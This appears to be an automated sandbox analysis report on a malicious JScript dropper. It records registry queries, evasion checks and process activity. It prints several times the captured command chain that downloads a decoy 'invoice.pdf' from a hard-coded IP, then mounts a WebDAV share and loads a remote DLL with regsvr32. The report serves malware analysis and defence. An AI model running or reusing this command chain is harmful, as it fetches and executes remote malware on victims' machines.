Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8254.js.csv");ITextStream.WriteLine(" entry:7175 f:fyyyujtuq");ITextStream.WriteLine(" exec:2 f:fyyyujtuq");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49702 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49702

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4863			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5002			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7340	Thread sleep count: 4863 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7344	Thread sleep count: 5002 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7424	Thread sleep time: -9223372036854770s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7480	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7664	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7916	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 0000000D.00000002.1350130424.0000024205AA6000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2565220292.00000265F6A54000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000F.00000002.2563921137.00000265F1229000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 0000000D.00000002.1350130424.0000024205A48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user~1\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user~1\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\291663085531373.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

